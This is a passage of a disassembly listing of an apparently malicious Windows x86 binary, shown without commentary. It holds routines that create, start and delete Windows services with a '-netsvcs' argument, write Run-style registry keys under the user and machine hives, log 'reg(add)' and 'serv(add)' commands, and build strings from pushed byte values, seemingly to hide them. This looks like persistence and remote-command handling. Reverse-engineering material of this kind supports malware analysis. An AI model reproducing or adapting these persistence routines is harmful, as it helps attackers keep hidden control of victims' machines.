mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2960000h nop mov edx, [esp+80h+var_70] push edx call near ptr 2920000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2960000h mov edx, [esp+80h+var_70] push edx call near ptr 2920000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2960000h mov edx, [esp+80h+var_70] push edx call near ptr 2920000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2960000h nop mov edx, [esp+80h+var_70] push edx call near ptr 2920000h nop lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E2F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E870 proc near ; CODE XREF: sub_401451j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E870 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_40142E lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE mov esi, dword_51175C push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] mov ebp, dword_51176C push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_511740 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E870 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED00 proc near ; CODE XREF: sub_4014A1j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40ED00 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_40142E push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C71 push eax call near ptr 2810000h nop lea ecx, [esp+5Ch+var_3C] call sub_40142E mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+60h+var_24] call sub_4017EE push eax lea eax, [esp+64h+var_3C] push offset dword_444684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_40142E lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402171 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40ED00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EE40 proc near ; CODE XREF: sub_402171j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40EE40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 nop call near ptr 2920993h mov edi, eax test edi, edi jnz short loc_40EE7F xor al, al jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EE7F: ; CODE XREF: sub_40EE40+36j lea ecx, [esp+54h+var_24] call sub_40142E mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017EE mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017EE push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_449834 call sub_4017EE mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017EE push eax push edi nop call near ptr 2920CE6h mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EF65 nop call near ptr 27E098Ch cmp eax, 431h jnz short loc_40EF49 mov ecx, [esp+54h+var_44] push ebp call sub_401951 mov esi, dword_511754 push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_4014A1 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF49: ; CODE XREF: sub_40EE40+CBj push edi nop call near ptr 2930000h lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF65: ; CODE XREF: sub_40EE40+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx nop call near ptr 29302C6h test eax, eax push esi mov esi, dword_511754 jnz short loc_40EFBC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EFBC: ; CODE XREF: sub_40EE40+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EFD0: ; CODE XREF: sub_40EE40+3Aj ; sub_40EE40+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40EE40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F060 proc near ; CODE XREF: sub_401951j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2920993h nop mov edi, eax test edi, edi jnz short loc_40F087 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F087: ; CODE XREF: sub_40F060+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push edi call near ptr 28C0B27h nop mov esi, eax test esi, esi jnz short loc_40F0B4 push edi nop call near ptr 2930000h pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F0B4: ; CODE XREF: sub_40F060+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi nop call near ptr 29204F9h push esi nop call near ptr 2920815h push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40F060 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F100 proc near ; CODE XREF: sub_401FD2j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2920993h mov esi, eax test esi, esi jnz short loc_40F11F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F11F: ; CODE XREF: sub_40F100+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017EE push eax push esi nop call near ptr 28C0B27h test eax, eax jnz short loc_40F146 push esi nop call near ptr 2930000h xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F146: ; CODE XREF: sub_40F100+37j push edi mov edi, dword_511754 push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F100 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F180 proc near ; CODE XREF: sub_401FFAj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2920993h nop mov edi, eax test edi, edi jnz short loc_40F1A1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1A1: ; CODE XREF: sub_40F180+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017EE push eax push edi nop call near ptr 28C0B27h mov esi, eax test esi, esi jnz short loc_40F1CB push edi call near ptr 2930000h nop pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1CB: ; CODE XREF: sub_40F180+3Bj push 0 push 0 push esi nop call near ptr 2910BA8h push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F180 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F210: ; CODE XREF: ___:loc_4014ABj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43A348 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F30A push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401730 test al, al jz short loc_40F2D6 lea ecx, [esp+0Ch] call sub_4017EE push eax lea ecx, [esp+28h] call sub_4017EE push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch loc_40F2D6: ; CODE XREF: ___:0040F297j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F30A: ; CODE XREF: ___:0040F246j lea ecx, [edi+47h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3A9 push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401451 test al, al jz short loc_40F382 lea ecx, [esp+24h] call sub_4017EE push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_40F382: ; CODE XREF: ___:0040F34Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3A9: ; CODE XREF: ___:0040F31Cj lea ecx, [edi+75h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F4BF push 1 push offset asc_444600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402171 test al, al jz short loc_40F47D lea ecx, [esp+24h] call sub_4017EE push eax lea ecx, [esp+10h] call sub_4017EE push eax lea ecx, [esp+44h] call sub_4017EE push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 20h loc_40F47D: ; CODE XREF: ___:0040F434j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F4BF: ; CODE XREF: ___:0040F3BBj lea ecx, [edi+0A3h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F561 push 1 push offset asc_444600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401951 test al, al jz short loc_40F53A lea ecx, [esp+54h] call sub_4017EE push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_40F53A: ; CODE XREF: ___:0040F505j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F561: ; CODE XREF: ___:0040F4D4j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F660 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx nop call near ptr 77C2C407h mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F6D0 proc near ; CODE XREF: sub_40169Fj var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F6D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E88 lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_40142E lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_40142E lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401753 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401753 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401753 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401753 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401753 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401753 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401753 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401753 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401753 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401753 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401753 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401753 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401753 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401753 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_40172B mov dword ptr [edi], offset off_43F034 mov bl, 11h xor edi, edi push offset byte_448F30 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43F028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015E1 call near ptr 2800BE7h nop push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017EE push eax push offset dword_4490BC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019C4 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017EE push eax push offset dword_4490C0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017EE push eax push offset dword_4490C4 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019C4 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017EE push eax push offset dword_4490C8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017EE push eax push offset dword_4490CC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017EE push eax push offset dword_4490D0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017EE push eax push offset dword_4490D4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017EE push eax push offset dword_4490D8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017EE push eax push offset dword_4490DC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017EE push eax push offset dword_4490E0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017EE push eax push offset dword_4490E4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017EE push eax push offset dword_4490E8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017EE push eax push offset dword_4490EC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017EE push eax push offset dword_4490F0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017EE push eax push offset dword_4490F4 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017EE push eax push offset dword_4490F8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017EE push eax push offset dword_4490FC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_4017EE push eax 